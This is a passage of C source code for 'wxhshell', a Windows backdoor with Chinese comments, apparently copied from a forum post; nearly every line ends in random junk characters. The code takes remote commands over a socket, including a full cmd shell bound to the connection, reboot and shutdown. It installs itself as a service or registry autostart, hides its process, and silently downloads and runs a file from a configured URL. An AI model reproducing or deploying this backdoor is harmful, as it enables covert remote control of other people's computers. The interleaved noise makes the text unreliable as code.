    switch(cmd[0]) { mR:uj2*  
  HyZqUb Ha  
  // 帮助 ZhaP2pC%4  
  case '?': { osAd1<EIC  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); *)T^Ch D,  
    break; ~Ea} /Au  
  } "ne?P9'hF  
  // 安装 Jhhb7uU+  
  case 'i': { 266h\2t6  
    if(Install()) `?_Q5lp/s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $|@@Qk/T  
    else g |yvF-+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xF'EiX~  
    break; q dBrQC  
    } zKJ#`OhT  
  // 卸载 d#4**BM  
  case 'r': { )23H1  
    if(Uninstall()) IY\5@PVZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E KLyma&}Y  
    else ucW-I;"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [!#L6&:a8  
    break; K`zdc`/  
    } m@v\(rT.  
  // 显示 wxhshell 所在路径 IK=a*}19L  
  case 'p': { /]Md~=yNp  
    char svExeFile[MAX_PATH]; h2]P]@nW;W  
    strcpy(svExeFile,"\n\r"); SsDmoEeB[  
      strcat(svExeFile,ExeFile); c9 _ rmz8  
        send(wsh,svExeFile,strlen(svExeFile),0); :>f )g  
    break; @,7GaK\  
    } Ai?*s%8v  
  // 重启 ,Uqs1#r  
  case 'b': { joAv{Tc  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); +.FEq*V  
    if(Boot(REBOOT)) E]n&=\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H3=qe I  
    else { &Q#66ev  
    closesocket(wsh); C XMLt  
    ExitThread(0); F/kWHVHU[  
    } g@!V3V  
    break; e2oa($9  
    } oY3;.;'bk  
  // 关机 fxHH;hRfv  
  case 'd': { 0 ZKx<]!  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); $Sip$\+*  
    if(Boot(SHUTDOWN)) LCKV>3+_#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i3mcx)d@H  
    else { y/7\?qfTk  
    closesocket(wsh); 8dIgjQX|  
    ExitThread(0); )}Kf=  
    } Js?]$V"  
    break; vr6w^&[c^  
    } A]oV"`f  
  // 获取shell p]+Pkxz]'  
  case 's': { hD!7Cl Q  
    CmdShell(wsh); uZKr  
    closesocket(wsh); 6 V=9M:  
    ExitThread(0); rw JIx|(  
    break; Ioa$51&  
  } jLm ;ty2;  
  // 退出 qqY"*uJ'  
  case 'x': { oAeUvmh  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 2uW; xfeY  
    CloseIt(wsh); Fk7')?  
    break; Am|%lj+1z  
    } aeM+ d`f  
  // 离开 :tg)p+KB  
  case 'q': { ?GR"FmB(  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ZKTz ,  
    closesocket(wsh); ;h  
    WSACleanup(); ;dgp+  
    exit(1); 0GCEqQy8  
    break; PKiy5D*8p  
        } =-n}[Y}A  
  } nmKp[-5  
  } 9qzHS~l  
eru.m+\  
  // 提示信息 r[iflBP  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;[OH(!  
} &}B|"s[  
  } [sj osV  
4!no~ $b  
  return; ~=l;=7 T  
} 7;wd(8  
`|& O*`  
// shell模块句柄 B[?Ng}<g`  
int CmdShell(SOCKET sock) A$0fKko  
{ Pu$Tk |  
STARTUPINFO si; ;iL#7NG-R  
ZeroMemory(&si,sizeof(si)); FWgpnI\X|{  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; +a{1)nCXe  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; #.)0xfGW)n  
PROCESS_INFORMATION ProcessInfo; TKmf+ZT*r  
char cmdline[]="cmd"; -k e's  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 'zuIBOH`j3  
  return 0; y}ev ,j  
} >U27];}y  
fJ!R6D  
// 自身启动模式 .4!=p*Y  
int StartFromService(void) `Eo.v#<  
{ J}K$(;:  
typedef struct n9ej7oj  
{ ,R* ]>'  
  DWORD ExitStatus; p6!x=cW  
  DWORD PebBaseAddress; sS'm!7*(3  
  DWORD AffinityMask; T}v4*O.,  
  DWORD BasePriority; <}9lZEqY  
  ULONG UniqueProcessId; e=m42vIB-  
  ULONG InheritedFromUniqueProcessId; ~U&AI1t+J  
}   PROCESS_BASIC_INFORMATION; d|Lj~x|  
4O!ikmY:t  
PROCNTQSIP NtQueryInformationProcess; ar+9\  
x7<K<k;s  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 0)Wltw~`&  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; H8}oIA"b  
6A+nS=  
  HANDLE             hProcess; mtcw#D  
  PROCESS_BASIC_INFORMATION pbi; T!)(Dv8@F  
PIS2Ed]  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 5MJS ~(  
  if(NULL == hInst ) return 0; #BH*Z(  
Ry6@VQ"NLb  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); $c(nF01  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); -;WGS o  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Y\g3h M  
pG;U2wE  
  if (!NtQueryInformationProcess) return 0; 3"~!nn0;  
&E5g3lf  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); t&e{_|i#+  
  if(!hProcess) return 0; }a(dyr`S  
p947w,1![  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; N6i Q8P -  
R%[ c;i  
  CloseHandle(hProcess); ,/|T-Ka  
m#\ dSl}  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); QD]6C2j*  
if(hProcess==NULL) return 0; ]Gq !`O1  
ml }{|Yz  
HMODULE hMod; A_q3KB!$=+  
char procName[255]; U9MxI%tb  
unsigned long cbNeeded; ((M>s&\y*Y  
AFE~ v\Gz  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); d<P\&!R(  
hv>\gBe i  
  CloseHandle(hProcess); _u QOHwn  
8&b,qQ~  
if(strstr(procName,"services")) return 1; // 以服务启动 O)r4?<Q  
WOL:IZX%  
  return 0; // 注册表启动 ^SrJu:Q_  
} OYn}5RN  
FXkM#}RgNm  
// 主模块 > /caXvS  
int StartWxhshell(LPSTR lpCmdLine) "oO%`:pb  
{ /jJw0 5;L  
  SOCKET wsl; FJ)$f?=Qd  
BOOL val=TRUE; s|r3Gv|G  
  int port=0; h>m"GpF x  
  struct sockaddr_in door; XVZ   
uJ v-4H  
  if(wscfg.ws_autoins) Install(); {&1/V  
6i3$CW  
port=atoi(lpCmdLine); gp.^~p]x  
?m"( S oh  
if(port<=0) port=wscfg.ws_port; JY(WK@  
1#+S+g@#  
  WSADATA data; p H2Sbs:Tk  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ;>7De8v@@  
0YDR1dO(*  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   w~qT1vCCN  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); /f;~X"!  
  door.sin_family = AF_INET; ak!G8'w  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); KJ4.4Zq{c  
  door.sin_port = htons(port); &gx%b*;`L0  
Qq|57X)P*  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { f(MO_Sj]  
closesocket(wsl); Q hO!Ma]  
return 1; YT(AUS5n  
} BLD gt~h#  
V1M.JU  
  if(listen(wsl,2) == INVALID_SOCKET) { +@wD qc  
closesocket(wsl); %n9aaoD  
return 1; vUM4S26"NT  
} P+/e2Y  
  Wxhshell(wsl); zIAD9mQex  
  WSACleanup(); $1`2 kM5  
cSV aI  
return 0; A2Gevj?F$  
\ }G> 8^  
} k;FUs[  
7zG_(83)K  
// 以NT服务方式启动 [.wYdv35  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) xU`p|(SS-  
{ H9e<v4 c  
DWORD   status = 0; {R6ZKB  
  DWORD   specificError = 0xfffffff; $6SW;d+>n  
1 ]b.fD  
  serviceStatus.dwServiceType     = SERVICE_WIN32; v` 1lxX'*  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; _I5Y"o  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; P/_['7  
  serviceStatus.dwWin32ExitCode     = 0; j&qub_j"xX  
  serviceStatus.dwServiceSpecificExitCode = 0; brUF6rQ  
  serviceStatus.dwCheckPoint       = 0; ?&1!vz  
  serviceStatus.dwWaitHint       = 0; II,8O  
KPUV@eQ,  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); {bY%# m  
  if (hServiceStatusHandle==0) return; i=2N;sAl  
R4:b{)=O  
status = GetLastError(); f ) L  
  if (status!=NO_ERROR) >~0Z& d  
{ IjnU?Bf  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; d/~9&wLSb  
    serviceStatus.dwCheckPoint       = 0; .%  
    serviceStatus.dwWaitHint       = 0; z~s PXGb  
    serviceStatus.dwWin32ExitCode     = status; 13x p_j  
    serviceStatus.dwServiceSpecificExitCode = specificError; `VguQl_,gA  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); b4N[)%@  
    return; 7B66]3v  
  } #o#H?Vo9b  
a9V,es"BWQ  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; R0*|Lo$6  
  serviceStatus.dwCheckPoint       = 0; z<' u1l3  
  serviceStatus.dwWaitHint       = 0; tc_3sC7jN  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); - 1gVeT&  
} @f3E`8  
%d9uTm;  
// 处理NT服务事件,比如:启动、停止 eTcd"Kd/  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Cq~dp/V  
{ {E|$8)58i  
switch(fdwControl) (TT}6j  
{ \ @2R9,9E  
case SERVICE_CONTROL_STOP: +ami?#Sz*;  
  serviceStatus.dwWin32ExitCode = 0; "E4a=YH_  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; [ub e6  
  serviceStatus.dwCheckPoint   = 0; KF:78C  
  serviceStatus.dwWaitHint     = 0; \YrUe1  
  { ,r_Gf5c  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); bW(0Ng  
  } 4;2uW#dG"  
  return; FGBbO\< /  
case SERVICE_CONTROL_PAUSE: Yrq~5)%  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; PLBr P  
  break; mj7#&r,1l  
case SERVICE_CONTROL_CONTINUE: 5*u+q2\F  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; =>~:<X.,  
  break; c'\dFb9a  
case SERVICE_CONTROL_INTERROGATE: gL/9/b4  
  break; `C'H.g\>2Q  
}; #&e-|81H  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Q S;f\'1bb  
} +] {G@pn  
&s>Jb?_5Mx  
// 标准应用程序主函数 S)"Jf?  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ,f?*{Q2  
{ ) Hr`M B  
YKK*ER0  
// 获取操作系统版本 &s!@29DXR  
OsIsNt=GetOsVer(); 2=!RQv~%  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Y"$xX8o  
b4Ekqas  
  // 从命令行安装 6[AL|d DK  
  if(strpbrk(lpCmdLine,"iI")) Install(); KLk~Y0$:v  
N?`' /e  
  // 下载执行文件 nQ3A~ ()  
if(wscfg.ws_downexe) { :e+jU5;]3  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) <<O$ G7c  
  WinExec(wscfg.ws_filenam,SW_HIDE); ,64 -1!  
} w7&A0M  
k$:|-_(w  
if(!OsIsNt) { t4-[Z$ n5  
// 如果时win9x,隐藏进程并且设置为注册表启动 TIg3` Fon  
HideProc(); B^ }yo65I  
StartWxhshell(lpCmdLine); {R{=+2K!|k  
} _Y m2/3!  
else v4 E}D  
  if(StartFromService()) j3ls3H&  
  // 以服务方式启动 0jWVp- y  
  StartServiceCtrlDispatcher(DispatchTable); Bk{]g=DO  
else -m#)B~)  
  // 普通方式启动 SUK?z!f <i  
  StartWxhshell(lpCmdLine); lPAQ3t!,  
SSzIih@u  
return 0; E2+`4g@{8<  
}
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只看该作者 1 发表于: 2006-10-10
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